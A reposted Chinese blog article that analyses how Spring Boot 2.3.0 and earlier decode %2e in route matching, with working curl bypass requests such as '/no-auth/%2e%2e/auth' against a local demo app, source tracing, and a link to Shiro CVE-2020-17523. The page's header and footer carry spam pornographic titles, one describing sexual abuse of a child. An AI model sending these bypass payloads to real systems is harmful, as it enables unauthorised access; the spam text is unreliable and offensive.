国产片侵犯亲女视频播放_亚洲精品二区_在线免费国产视频_欧美精品一区二区三区在线_少妇久久久_在线观看av不卡

服務(wù)器之家:專注于服務(wù)器技術(shù)及軟件下載分享
分類導(dǎo)航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術(shù)|正則表達(dá)式|C/C++|IOS|C#|Swift|Android|VB|R語(yǔ)言|JavaScript|易語(yǔ)言|vb.net|

服務(wù)器之家 - 編程語(yǔ)言 - Java教程 - 詳解SpringBoot中關(guān)于%2e的Trick

詳解SpringBoot中關(guān)于%2e的Trick

2021-09-07 13:17Ruilin Java教程

這篇文章主要介紹了SpringBoot中關(guān)于%2e的Trick,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下

分享一個(gè)SpringBoot中關(guān)于%2e的小Trick。先說(shuō)結(jié)論,當(dāng)SpringBoot版本在小于等于2.3.0.RELEASE的情況下, alwaysUseFullPath 為默認(rèn)值false,這會(huì)使得其獲取ServletPath,所以在路由匹配時(shí)會(huì)對(duì) %2e 進(jìn)行解碼,這可能導(dǎo)致身份驗(yàn)證繞過(guò)。而反過(guò)來(lái)由于高版本將 alwaysUseFullPath 自動(dòng)配置成了true從而開(kāi)啟全路徑,又可能導(dǎo)致一些安全問(wèn)題。

這里我們來(lái)通過(guò)一個(gè)例子看一下這個(gè)Trick,并分析它的原因。

首先我們先來(lái)設(shè)置SprinBoot版本

<parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.0.RELEASE</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>

編寫(xiě)一個(gè)Controller

@RestController
public class httpbinController {
    @RequestMapping(value = "no-auth", method = RequestMethod.GET)
    public String noAuth() {
        return "no-auth";
    }
 
    @RequestMapping(value = "auth", method = RequestMethod.GET)
    public String auth() {
        return "auth";
    }
}

接下來(lái)配置對(duì)應(yīng)的Interceptor來(lái)實(shí)現(xiàn)對(duì)除no-auth以外的路由的攔截

@Configuration
public class WebMvcConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(handlerInterceptor())
                //配置攔截規(guī)則
                .addPathPatterns("/**");
    }
 
    @Bean
    public HandlerInterceptor handlerInterceptor() {
        return new PermissionInterceptor();
    }
}
@Component
public class PermissionInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request,
                             HttpServletResponse response,
                             Object handler) throws Exception {
        String uri = request.getRequestURI();
        uri = uri.replaceAll("//", "/");
        System.out.println("RequestURI: "+uri);
        if (uri.contains("..") || uri.contains("./") ) {
            return false;
        }
        if (uri.startsWith("/no-auth")){
            return true;
        }
        return false;
    }
}

由上面代碼可以知道它使用了getRequestURI來(lái)進(jìn)行路由判斷。通常你可以看到如 startsWith , contains 這樣的判斷方式,顯然這是不安全的,我們繞過(guò)方式由很多比如 .. 或 ..; 等,但其實(shí)在用 startsWith 來(lái)判斷白名單時(shí)構(gòu)造都離不開(kāi)跨目錄的符號(hào) ..
那么像上述代碼這種情況又如何來(lái)繞過(guò)呢?答案就是 %2e
發(fā)起請(qǐng)求如下

$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 4
< Date: Wed, 14 Apr 2021 13:22:03 GMT
<
* Connection #0 to host 127.0.0.1 left intact
auth
* Closing connection 0

RequestURI輸出為

RequestURI: /no-auth/%2e%2e/auth

可以看到我們通過(guò) %2e%2e 繞過(guò)了PermissionInterceptor的判斷,同時(shí)匹配路由成功,很顯然應(yīng)用在進(jìn)行路由匹配時(shí)對(duì) %2e 進(jìn)行了解碼。

我們?cè)賮?lái)切換SpringBoot版本再來(lái)看下

<version>2.3.1.RELEASE</version>

發(fā)起請(qǐng)求,當(dāng)然也是過(guò)了攔截,但沒(méi)有匹配路由成功,返回404

$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 404
< Vary: Origin
< Vary: Access-Control-Request-Method
< Vary: Access-Control-Request-Headers
< Content-Length: 0
< Date: Wed, 14 Apr 2021 13:17:26 GMT
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0

RequestURI輸出為

RequestURI: /no-auth/%2e%2e/auth

可以得出結(jié)論當(dāng)SpringBoot版本在小于等于2.3.0.RELEASE的情況下,其在路由匹配時(shí)會(huì)對(duì) %2e 進(jìn)行解碼,這可能導(dǎo)致身份驗(yàn)證繞過(guò)。

那么又為什么會(huì)這樣?

在SpringMVC進(jìn)行路由匹配時(shí)會(huì)從DispatcherServlet開(kāi)始,然后到HandlerMapping中去獲取Handler,在這個(gè)時(shí)候就會(huì)進(jìn)行對(duì)應(yīng)path的匹配。

我們來(lái)跟進(jìn)代碼看這個(gè)關(guān)鍵的地方 org.springframework.web.util.UrlPathHelper#getLookupPathForRequest(javax.servlet.http.HttpServletRequest)
這里就出現(xiàn)有趣的現(xiàn)象,在2.3.0.RELEASE中 alwaysUseFullPath 為默認(rèn)值false

詳解SpringBoot中關(guān)于%2e的Trick

而在2.3.1.RELEASE中 alwaysUseFullPath 被設(shè)置成了true

詳解SpringBoot中關(guān)于%2e的Trick

這也就導(dǎo)致了不同的結(jié)果,一個(gè)走向了 getPathWithinApplication 而另一個(gè)走向了 getPathWithinServletMapping
在 getPathWithinServletMapping 中會(huì)獲取ServletPath,ServletPath會(huì)對(duì)其解碼,這個(gè)很多講Tomcat url差異的文章都提過(guò)了,就不多說(shuō)了。所以解釋了最終出現(xiàn)繞過(guò)的情況。

那么Trick的具體描述就成了當(dāng)SpringBoot版本在小于等于2.3.0.RELEASE的情況下, alwaysUseFullPath 為默認(rèn)值false,這會(huì)使得其獲取ServletPath,所以在路由匹配時(shí)會(huì)對(duì) %2e 進(jìn)行解碼,這可能導(dǎo)致身份驗(yàn)證繞過(guò)。

而這和Shiro的CVE-2020-17523中的一個(gè)姿勢(shì)形成了呼應(yīng),只要高版本SpringBoot就可以了不用非要手動(dòng)設(shè)置 alwaysUseFullPath

$ curl -v http://127.0.0.1:8080/admin/%2e
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /admin/%2e HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 10
< Date: Wed, 14 Apr 2021 13:48:33 GMT
<
* Connection #0 to host 127.0.0.1 left intact
admin page* Closing connection 0

感興趣的可以再看看說(shuō)不定有額外收獲

話說(shuō)回來(lái),可是為什么在高版本中 alwaysUseFullPath 會(huì)被設(shè)置成true呢?

這就要追溯到 org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration.WebMvcAutoConfigurationAdapter#configurePathMatch
在spring-boot-autoconfigure-2.3.0.RELEASE中

詳解SpringBoot中關(guān)于%2e的Trick

在spring-boot-autoconfigure-2.3.1.RELEASE中

詳解SpringBoot中關(guān)于%2e的Trick

為什么要這樣設(shè)置?我們查看git log這里給出了答案。

詳解SpringBoot中關(guān)于%2e的Trick

https://github.com/spring-projects/spring-boot/commit/a12a3054c9c5dded034ee72faac20e578b5503af

當(dāng)Servlet映射為”/”時(shí),官方認(rèn)為這樣配置是更有效率的,因?yàn)樾枰?qǐng)求路徑的處理較少。

配置servlet.path可以通過(guò)如下,但通常不會(huì)這樣配置除非有特殊需求。

spring.mvc.servlet.path=/test/

所以最后,當(dāng)SpringBoot版本在小于等于2.3.0.RELEASE的情況下, alwaysUseFullPath 為默認(rèn)值false,這會(huì)使得其獲取ServletPath,所以在路由匹配時(shí)會(huì)對(duì) %2e 進(jìn)行解碼,這可能導(dǎo)致身份驗(yàn)證繞過(guò)。而高版本為了提高效率對(duì) alwaysUseFullPath 自動(dòng)配置成了true從而開(kāi)啟全路徑,這又造就了Shiro的CVE-2020-17523中的一個(gè)利用姿勢(shì)。

到此這篇關(guān)于詳解SpringBoot中關(guān)于%2e的Trick的文章就介紹到這了,更多相關(guān)SpringBoot Trick內(nèi)容請(qǐng)搜索服務(wù)器之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持服務(wù)器之家!

原文鏈接:http://rui0.cn/archives/1643

延伸 · 閱讀

精彩推薦
  • Java教程小米推送Java代碼

    小米推送Java代碼

    今天小編就為大家分享一篇關(guān)于小米推送Java代碼,小編覺(jué)得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來(lái)看看吧...

    富貴穩(wěn)中求8032021-07-12
  • Java教程Java使用SAX解析xml的示例

    Java使用SAX解析xml的示例

    這篇文章主要介紹了Java使用SAX解析xml的示例,幫助大家更好的理解和學(xué)習(xí)使用Java,感興趣的朋友可以了解下...

    大行者10067412021-08-30
  • Java教程xml與Java對(duì)象的轉(zhuǎn)換詳解

    xml與Java對(duì)象的轉(zhuǎn)換詳解

    這篇文章主要介紹了xml與Java對(duì)象的轉(zhuǎn)換詳解的相關(guān)資料,需要的朋友可以參考下...

    Java教程網(wǎng)2942020-09-17
  • Java教程Java BufferWriter寫(xiě)文件寫(xiě)不進(jìn)去或缺失數(shù)據(jù)的解決

    Java BufferWriter寫(xiě)文件寫(xiě)不進(jìn)去或缺失數(shù)據(jù)的解決

    這篇文章主要介紹了Java BufferWriter寫(xiě)文件寫(xiě)不進(jìn)去或缺失數(shù)據(jù)的解決方案,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望...

    spcoder14552021-10-18
  • Java教程升級(jí)IDEA后Lombok不能使用的解決方法

    升級(jí)IDEA后Lombok不能使用的解決方法

    最近看到提示IDEA提示升級(jí),尋思已經(jīng)有好久沒(méi)有升過(guò)級(jí)了。升級(jí)完畢重啟之后,突然發(fā)現(xiàn)好多錯(cuò)誤,本文就來(lái)介紹一下如何解決,感興趣的可以了解一下...

    程序猿DD9332021-10-08
  • Java教程Java實(shí)現(xiàn)搶紅包功能

    Java實(shí)現(xiàn)搶紅包功能

    這篇文章主要為大家詳細(xì)介紹了Java實(shí)現(xiàn)搶紅包功能,采用多線程模擬多人同時(shí)搶紅包,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙...

    littleschemer13532021-05-16
  • Java教程Java8中Stream使用的一個(gè)注意事項(xiàng)

    Java8中Stream使用的一個(gè)注意事項(xiàng)

    最近在工作中發(fā)現(xiàn)了對(duì)于集合操作轉(zhuǎn)換的神器,java8新特性 stream,但在使用中遇到了一個(gè)非常重要的注意點(diǎn),所以這篇文章主要給大家介紹了關(guān)于Java8中S...

    阿杜7472021-02-04
  • Java教程20個(gè)非常實(shí)用的Java程序代碼片段

    20個(gè)非常實(shí)用的Java程序代碼片段

    這篇文章主要為大家分享了20個(gè)非常實(shí)用的Java程序片段,對(duì)java開(kāi)發(fā)項(xiàng)目有所幫助,感興趣的小伙伴們可以參考一下 ...

    lijiao5352020-04-06
主站蜘蛛池模板: 国产精品亚洲综合 | 不卡的免费av | 91精彩视频| 91精品久久久久久 | 亚洲免费视频网 | 能直接看的av网站 | 久久久久久久久久久久免费 | 成人影院www在线观看 | 黄色电影天堂 | 欧美在线一区二区 | 精品久久久久一区二区国产 | 日韩福利在线 | 91在线看 | 一区二区三区日韩在线 | 黄视频在线观看免费 | 亚洲精品视频在线观看免费 | 亚洲精选一区二区 | 久久久一| 天堂免费在线 | av激情在线 | 中文字幕日韩视频 | 男女啪啪免费网站 | 日本99精品 | 一区二区三区日韩 | 成人在线播放 | 免费国产一区 | 在线免费观看av电影 | 午夜精品视频在线观看 | 国产精品久久 | 国产成人综合一区 | 成人久久| 久久久久久久久久久免费av | 日韩国产精品一区二区三区 | 国产精品久久久久久久久免费桃花 | 精品国产一区二区三区久久 | 国产日韩精品一区二区 | 中文字幕一区二区三区四区不卡 | 国产精品成人一区二区三区夜夜夜 | 精品国产欧美一区二区三区成人 | 美女扒开尿口来摸 | 亚洲精品一区 |